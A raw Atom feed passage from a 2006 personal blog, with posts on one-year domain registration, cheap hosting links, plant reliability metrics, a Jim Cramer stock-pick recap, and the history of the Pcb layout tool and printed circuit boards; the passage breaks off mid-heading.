&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115829311539593669?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115829311539593669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115829311539593669&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829311539593669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829311539593669'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/web-site-basics.html' title='Web Site Basics'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115829298814162198</id><published>2006-09-15T11:00:00.000+07:00</published><updated>2006-09-15T11:03:08.530+07:00</updated><title type='text'>Register Domain Names One Year At A Time!</title><content type='html'>I first heard about this money saving news from a press release that wound&lt;br /&gt;up in my inbox. I haven't heard it posted anywhere else so I decided to do a&lt;br /&gt;little digging on my own, and do what I can to spread the good news.&lt;br /&gt;&lt;br /&gt;Effective January 15, 2000, the restriction of registering domain names for&lt;br /&gt;two years at a time has been lifted. You can now register domain names from&lt;br /&gt;one to ten years, in one year increments, up to a maximum of ten years. The&lt;br /&gt;following text is taken directly from the ICANN NSI-Registrar License and&lt;br /&gt;Agreement, located at:&lt;br /&gt;&lt;br /&gt;http://www.icann.org/nsi/nsi-rla-04nov99.htm&lt;br /&gt;&lt;br /&gt;2.3. New Architectural Features. NSI will use its best commercial efforts to&lt;br /&gt;develop and implement two additional modifications to the Licensed Product&lt;br /&gt;by January 15, 2000 as follows:&lt;br /&gt;&lt;br /&gt;2.3.1. NSI will issue an upgrade to the Licensed Product that will enable a&lt;br /&gt;Registrar to accept initial domain name registrations or renewals of a&lt;br /&gt;minimum of one year in length, or in multiples of one year increments.&lt;br /&gt;&lt;br /&gt;2.3.2. NSI will issue an upgrade to the Licensed Product that will enable&lt;br /&gt;registrars to accept the addition of one additional year to a registrant's&lt;br /&gt;"current" registration period when a registrant changes from one registrar&lt;br /&gt;to another.&lt;br /&gt;&lt;br /&gt;In no event shall the total unexpired term of a registration exceed ten (10)&lt;br /&gt;years.&lt;br /&gt;&lt;br /&gt;So there you have it folks, right from ICANN themselves. If you have a lot&lt;br /&gt;of domain names - like me - you may want to keep them reserved one a year at&lt;br /&gt;a time, to keep your costs down. Or, if you have a company name not likely&lt;br /&gt;to be sold in the future, you can register it for 10 years at a big savings&lt;br /&gt;off of the regular price.&lt;br /&gt;&lt;br /&gt;After digging and digging around, at several ICANN accredited registrars, I&lt;br /&gt;was hard pressed to find even one that allowed anything but the old two year&lt;br /&gt;registrations. I did finally find one Canadian company that does one to ten&lt;br /&gt;year registrations (partnered with Melbourne IT an ICANN accredited&lt;br /&gt;registrar). The fact that they have a shopping cart to allow multiple&lt;br /&gt;registrations and a real time database is just the icing on the cake.&lt;br /&gt;&lt;br /&gt;https://secure.kudosnet.com/domain/k2/r.dmc/&lt;br /&gt;&lt;br /&gt;With 21 domain names to register, I'm happy to say that I saved over $600 US&lt;br /&gt;by being able to register them for a single year, instead of two, and I&lt;br /&gt;submitted them all with a single mouse click.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115829298814162198?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115829298814162198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115829298814162198&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829298814162198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115829298814162198'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/register-domain-names-one-year-at-time.html' title='Register Domain Names One Year At A Time!'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115823170197305190</id><published>2006-09-14T17:51:00.000+07:00</published><updated>2006-09-14T18:33:15.636+07:00</updated><title type='text'>cheap hosting domain</title><content type='html'>&lt;h1  style="font-weight: normal;font-family:times new roman;" class="arial11"&gt;&lt;span style="font-size:100%;"&gt;Web hosting provides domain registration and ssl certificates and other cheap web hosting services for all types of web page hosting needs. Website hosting plans include PHP hosting, MySQL hosting, PostgreSQL web hosting, FrontPage hosting, CGI Hosting, SSH Web Hosting, Web Space Hosting, PHPBB Hosting, PHPNuke Hosting, Domain names registration, Webmail Hosting / Pop3 Web Hosting / Email Web Hosting, Image web hosting, Internet web hosting, Foto &amp;amp; Gallery Hosting, New Zealland web hosting, Custom Mime types and error pages, Python Web Hosting, Perl, CGI web hosting, SSH hosting, Zend, Sablotron, SSI, Webmail hosting, Forum Web Hosting, Blog Hosting, Email Hosting SMTP, IMAP, pop3, Secure personal web hosting and lots more.&lt;/span&gt;&lt;/h1&gt;Try&lt;br /&gt;http://www.cheapwebhosting.co.nz/&lt;br /&gt;http://www.hostingdude.com/&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115823170197305190?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115823170197305190/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115823170197305190&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115823170197305190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115823170197305190'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/cheap-hosting-domain.html' title='cheap hosting domain'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115819805043284795</id><published>2006-09-14T08:40:00.000+07:00</published><updated>2006-09-14T08:49:52.416+07:00</updated><title type='text'>Maintenance Management</title><content type='html'>The purpose of this column is to raise questions and challenge plant leadership on strategy, vision and execution of reliability and maintenance management. Since the name of this magazine is Reliable Plant, I think it would be interesting for my first column to challenge you on the meaning of the term “reliability.” &lt;br/&gt;&lt;br/&gt;Reliability is often used by plants to define future improvement efforts and set expectations for employees and managers. In several recently written mission statements, I’ve seen expressions such as “to increase profitability through increased reliability.” But when companies are asked to define what the words mean, what reliability is and how it’s measured, it’s unusual to get a comprehensive answer. &lt;br/&gt;&lt;br/&gt;The manufacturing and process industry may not have defined the meaning of the word reliability, but you would think the service sector would have done so by now. It has not. Consultants start the trends and use these words in order to sell the industry a new concept. We sometimes, however, fail to define the meaning of the terms we invent. &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;The goal for any plant is to increase overall production reliability, meaning the maximization of output with current resources by reducing waste in equipment reliability and process reliability (the latter is often used in process industry; it may be called “manufacturing reliability” in discrete manufacturing). Equipment and process reliability jointly create reliable production. &lt;br/&gt;&lt;br/&gt;This can be measured using overall production reliability (OPR). Traditionally, this measurement is called overall equipment effectiveness (OEE). OEE and OPR refer to the same measurement, but I use the name OPR since it better describes what is actually measured. It should be called OPR because it includes all possible production-related waste, not only equipment-related waste. &lt;br/&gt;&lt;br/&gt;OPR is calculated as: &lt;br/&gt;&lt;br/&gt;OPR = Quality (%) x Speed (%) x Time Availability (%) &lt;br/&gt;&lt;br/&gt;Speed, Time Availability and Quality describe all losses in a production or process line. OPR is, therefore, an excellent measurement to use when setting reliability goals jointly for operations, maintenance and engineering. &lt;br/&gt;&lt;br/&gt;Operations’ primary responsibility is process reliability, where the process, or manufacturing, is operating with as little waste as possible. Examples of process waste are quality and production losses due to operating parameters such as setting of pressures, machine speeds, cutting tool selection or concentration of chemicals. &lt;br/&gt;&lt;br/&gt;Maintenance’s primary responsibility is equipment reliability. Lack of equipment reliability creates waste due to failing components, quality losses for the reason of equipment problems, or speed losses because of component wear or breakdowns. &lt;br/&gt;&lt;br/&gt;Engineering should focus on supporting equipment and process reliability through life cycle cost (LCC) design. LCC is used to consider the cost of buying and owning equipment. It’s common that engineering departments only focus on making sure a new installation is on time and under budget. Reliability and maintainability aspects of the equipment design are forgotten. For example, why would someone buy a motor or gearbox without jacking bolts (pushbolts used when aligning equipment) installed? &lt;br/&gt;&lt;br/&gt;We know world-class shaft alignment is virtually impossible to do with a sledgehammer, so why don’t we specify jacking bolts as part of the design? &lt;br/&gt;&lt;br/&gt;In conclusion, most companies need to better specify the term reliability. It will help employees understand what the goal is when we refer to, for example, “production reliability.” &lt;br/&gt;&lt;br/&gt;In maintenance management, we primarily focus on equipment reliability. In my next column, we’ll discuss how plant maintenance management can set goals by clarifying “equipment reliability” for their co-workers. &lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115819805043284795?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115819805043284795/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115819805043284795&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115819805043284795'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115819805043284795'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/maintenance-management.html' title='Maintenance Management'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115819734397590241</id><published>2006-09-14T08:27:00.000+07:00</published><updated>2006-09-14T08:29:04.470+07:00</updated><title type='text'>Money In-Depth Stock Picks</title><content type='html'>Stocks discussed in the in-depth session of Jim Cramer’s Mad Money TV program, Friday September 8. Click on a stock ticker for more analysis: &lt;br/&gt;&lt;br/&gt;Baby Boom: Kimberly-Clark (KMB)&lt;br/&gt;&lt;br/&gt;Cramer appeared on his show sporting a diaper to emphasize how much he believed in KMB, not just for its consumer products which are necessary no matter how the economy is behaving but also because it is a play on oil since petroleum is used in the production of diapers. As the price of oil decreases, comments Cramer, KMB should improve especially since $300 million to $350 million of cost inflation built into its 2006 numbers is mostly due to oil. As raw costs go down, says Cramer, KMB will go up. &lt;br/&gt;&lt;br/&gt;Related: Catablast Media's discussion of the effect of the new baby boom and increased diaper demand on Kimberly-Clark.&lt;br/&gt;&lt;br/&gt;Go to the Tape: Deere's (DE)&lt;br/&gt;&lt;br/&gt;In a new segment of Mad Money called "Go the Tape," Cramer used Deere as an example of a stock which declined and came back. In spite of a good quarter, DE dropped $3 because it reported slowing construction. However, those who listened to the conference call would have noticed that inventory was low and that Deere is an agriculture play and is not connected with housing as many people believe. Because expectations were low and the stock was shorted DE bounced back. Cramer said that the Deere story teaches investors to look for three things: "Aggressive shorting during options expiration week, companies that tamp down expectations and have upside surprises, and misinformation about business cycles."&lt;br/&gt;&lt;br/&gt;Goldman Sachs (GS), Lehman Brothers (LEH), and Bear Stearns (BSC)&lt;br/&gt;&lt;br/&gt;These three companies report earnings next week and "could provide a really super trading backdrop," Cramer said. Expectations are low for this sector and that is a reason pay attention, according to Cramer, because these companies should get a boost in September after people return from vacation and start trading. Of the three, Cramer prefers GS because it is "cheap and ready to roll" and advises purchasing September $1.50 call options on GS; "They should be cheap because they expire at the end of the week," Cramer said. "Don't buy all at once. Buy a quarter on Monday, a quarter on Tuesday, and if the stock goes down, you double down."&lt;br/&gt;&lt;br/&gt;Related: Eli Hoffman comments on the recent pullback in brokerage stocks. &lt;br/&gt;&lt;br/&gt;CEO Interview: Devon Energy (DVN) Chairman and CEO Larry Nichols&lt;br/&gt;&lt;br/&gt;In addition to recent discovery in the Gulf of Mexico Larry Nichols says that Devon has three other potential finds "in the pipeline" and is second only to Chevron (CVX). When Cramer asked how he makes sense of Wall Street, Larry Nichols replied, "there is a time when people are going to talk about oil going down, and there will be brief lulls when it does," and added that since oil sources are often policital hotspots, "there is only a matter of time before another problem comes up and the price shoots back up." &lt;br/&gt;&lt;br/&gt;Seeking Alpha publishes a summary of Jim Cramer's stock picks every day including: Mad Money Recap, Lightening Round, Stop Trading and his Radio Show.&lt;br/&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115819734397590241?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115819734397590241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115819734397590241&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115819734397590241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115819734397590241'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/money-in-depth-stock-picks.html' title='Money In-Depth Stock Picks'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115804602115112336</id><published>2006-09-12T14:19:00.000+07:00</published><updated>2006-09-13T12:33:46.840+07:00</updated><title type='text'>Pcb</title><content type='html'>Pcb is a handy tool for laying out printed circuit boards. &lt;br/&gt;Pcb was first written by Thomas Nau for an Atari ST in 1990 and ported to UNIX and X11 in 1994. It was not intended as a professional layout system, but as a tool which supports people who do some home-developing of hardware. &lt;br/&gt;The second release 1.2 included menus for the first time. This made Pcb easier to use and thus a more important tool. &lt;br/&gt;Release 1.3 introduced undo for highly-destructive commands, more straightforward action handling and scalable fonts. Layer-groups were introduced to group signal-layers together. &lt;br/&gt;Release 1.4 provided support for add-on device drivers. Two layers (the solder and the component side) were added to support SMD elements. The handling of libraries was also improved in 1.4.1. Support for additional devices like GERBER plotters started in 1.4.4. The undo feature was expanded and the redo-feature added in 1.4.5. &lt;br/&gt;harry eaton took over pcb development beginning with Release 1.5, although he contributed some code beginning with Release 1.4.3 &lt;br/&gt;Release 1.5 provides support for rats-nest generation from simple net lists. It also allows for automatic clearances around pins that pierce a polygon. A variety of other enhancements including a Gerber RS-274-X driver and NC drill file generation have also been added. &lt;br/&gt;Release 1.6 provides automatic screen updates of changed regions. This should eliminate most of the need for the redraw ((R key). Also some changes to what order items under the cursor are selected were made for better consistency - it is no longer possible to accidentally move a line or line point that is completely obscured by a polygon laying over top of it. Larger objects on the upper most layers can be selected ahead of smaller objects on lower layers. These changes make operations more intuitive. A new mode of line creation was added that creates two line on 45 degree angles with a single click. The actual outline of the prospective line(s) are now shown during line creation. An arc creation mode was added. Drawn arcs are quarter circles and can be useful for high frequency controlled impedance lines. (You can have eighth circle arc if the source is compiled with -DARC45, but be aware that the ends of such arcs can never intersect a grid point). Two new flags for pins and vias were created - one indicates that the pin or via is purely a drill hole and has no copper annulus. You can only toggle this flag for vias - for elements, it must be an integral part of the element definition. The other flag controls whether the pad will be round or octagonal. There is also now a feature for converting the contents of a buffer into an element. &lt;br/&gt;Release 1.6.1 added the ability to make groups of action commands bound to a single X11 event to be undone by a single undo. Also a simple design rule checker was added - it checks for minimum spacing and overlap rules. Plus many fixes for bugs introduced with the many changes of 1.6 &lt;br/&gt;Release 1.7 added support for routing tracks through polygons without touching them. It also added support for unplated drill files, and drawing directly on the silk layer. A Netlist window for easily working with netlist was also added. &lt;br/&gt;Release 2.0 adds an auto-router, a new simpler library mechanism, much improved support for graphically creating (and editing) elements, viewable solder-mask layers (and editing), snap to pins and pads, netlist entry by drawing rats, element files (and libraries) that can contain whole sub-layouts, metric grids, improved user interface, a GNU autoconf/automake based build system, and a host of other improvements. &lt;br/&gt;&lt;br/&gt;Special thanks goes to: &lt;br/&gt;&lt;br/&gt;     Thomas Nau (who started the project and wrote the early versions).&lt;br/&gt;C. Scott Ananian (who wrote the auto-router code).&lt;br/&gt;Bernhard Daeubler (Bernhard.Daeubler@physik.uni-ulm.de)&lt;br/&gt;Harald Daeubler (Harald.Daeubler@physik.uni-ulm.de)&lt;br/&gt;DJ Delorie (djdelorie@users.sourceforge.net)&lt;br/&gt;Larry Doolittle (ldoolitt@recycle.lbl.gov)&lt;br/&gt;Dan McMahill (danmc@users.sourceforge.net)&lt;br/&gt;Roland Merk (merk@faw.uni-ulm.de)&lt;br/&gt;Erland Unruh (Erland.Unruh@malmo.trab.se)&lt;br/&gt;Albert John FitzPatrick III (ajf_nylorac@acm.org)&lt;br/&gt;Boerge Strand (borges@ifi.uio.no)&lt;br/&gt;Andre M. Hedrick (hedrick@Astro.Dyer.Vanderbilt.Edu)&lt;br/&gt;who provided all sorts of help including porting Pcb to&lt;br/&gt;several operating systems and platforms, bug fixes, library enhancement, user interface suggestions and more. In addition to these people, many others donated time for bug-fixing and other important work. Some of them can be identified in the source code files. Thanks to all of them. If you feel left out of this list, I apologize; please send me an e-mail and I'll try to correct the omission.&lt;br/&gt;&lt;br/&gt;Overview&lt;br/&gt;Pcb is a printed circuit board editor for the X11 window system. Pcb includes many professional features such as: &lt;br/&gt;Up to 8 copper layer designs &lt;br/&gt;RS-274-X (Gerber) output &lt;br/&gt;NC Drill output &lt;br/&gt;Centroid (X-Y) data output &lt;br/&gt;Postscript and Encapsulated Postscript output &lt;br/&gt;Autorouter &lt;br/&gt;Trace optimizer &lt;br/&gt;Rats nest &lt;br/&gt;Design Rule Checker (DRC) &lt;br/&gt;Connectivity verification &lt;br/&gt;Pcb is Free Software &lt;br/&gt;Can interoperate with free schematic capture tools such as gEDA and xcircuit&lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115804602115112336?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115804602115112336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115804602115112336&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115804602115112336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115804602115112336'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/pcb.html' title='Pcb'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115798275385844081</id><published>2006-09-11T20:50:00.000+07:00</published><updated>2006-09-13T12:46:44.410+07:00</updated><title type='text'>PCB history</title><content type='html'>&lt;p&gt;The inventor of the printed circuit was probably the &lt;a href="http://en.wikipedia.org/wiki/Austria" title="Austria"&gt;Austrian&lt;/a&gt; engineer &lt;a href="http://en.wikipedia.org/wiki/Paul_Eisler" title="Paul Eisler"&gt;Paul Eisler&lt;/a&gt; (1907–1995) who, while working in England, made one circa &lt;a href="http://en.wikipedia.org/wiki/1936" title="1936"&gt;1936&lt;/a&gt; as part of a &lt;a href="http://en.wikipedia.org/wiki/Radio" title="Radio"&gt;radio&lt;/a&gt; set. Around &lt;a href="http://en.wikipedia.org/wiki/1943" title="1943"&gt;1943&lt;/a&gt; the USA began to use the technology on a large scale to make rugged radios for use in &lt;a href="http://en.wikipedia.org/wiki/World_War_II" title="World War II"&gt;World War II&lt;/a&gt;. After the war, in &lt;a href="http://en.wikipedia.org/wiki/1948" title="1948"&gt;1948&lt;/a&gt;, the USA released the invention for commercial use. Printed circuits did not become commonplace in consumer electronics until the mid-1950s, after the &lt;i&gt;Auto-Sembly&lt;/i&gt; process was developed by the United States Army.&lt;/p&gt;&lt;p&gt;Before printed circuits (and for a while after their invention), &lt;a href="http://en.wikipedia.org/wiki/Point-to-point_construction" title="Point-to-point construction"&gt;point-to-point construction&lt;/a&gt; was used. For prototypes, or small production runs, &lt;a href="http://en.wikipedia.org/wiki/Wire_wrap" title="Wire wrap"&gt;wire wrap&lt;/a&gt; can be more efficient.&lt;/p&gt;&lt;p&gt;Originally, every electronic component had wire leads, and the PCB had holes drilled for each wire of each component. The components' leads were then passed through the holes and soldered to the PCB trace. This method of assembly is called &lt;a href="http://en.wikipedia.org/wiki/Through-hole_technology" title="Through-hole technology"&gt;&lt;i&gt;through-hole&lt;/i&gt; construction&lt;/a&gt;. In 1949, Moe Abramson and Stanilus F. Danko of the &lt;a href="http://en.wikipedia.org/wiki/United_States_Army_Signal_Corps" title="United States Army Signal Corps"&gt;United States Army Signal Corps&lt;/a&gt; developed the Auto-Sembly process in which component leads were inserted into a copper foil interconnection pattern and dip soldered. With the development of board lamination and etching techniques, this concept evolved into the standard printed circuit board fabrication process in use today. Soldering could be done automatically by passing the board over a ripple, or wave, of molten solder in a &lt;a href="http://en.wikipedia.org/wiki/Wave_soldering" title="Wave soldering"&gt;wave-soldering&lt;/a&gt; machine.&lt;/p&gt;&lt;p&gt;However, the wires and holes are wasteful since drilling the holes is expensive and the protruding wires are merely cut off.&lt;/p&gt;&lt;p&gt;Instead of using through-hole parts, often 'surface mount' parts are used instead. See &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/Printed_circuit_board#Surface-mount_technology"&gt;Surface-mount technology&lt;/a&gt;&lt;/i&gt; below.&lt;/p&gt;&lt;h2&gt;Physical 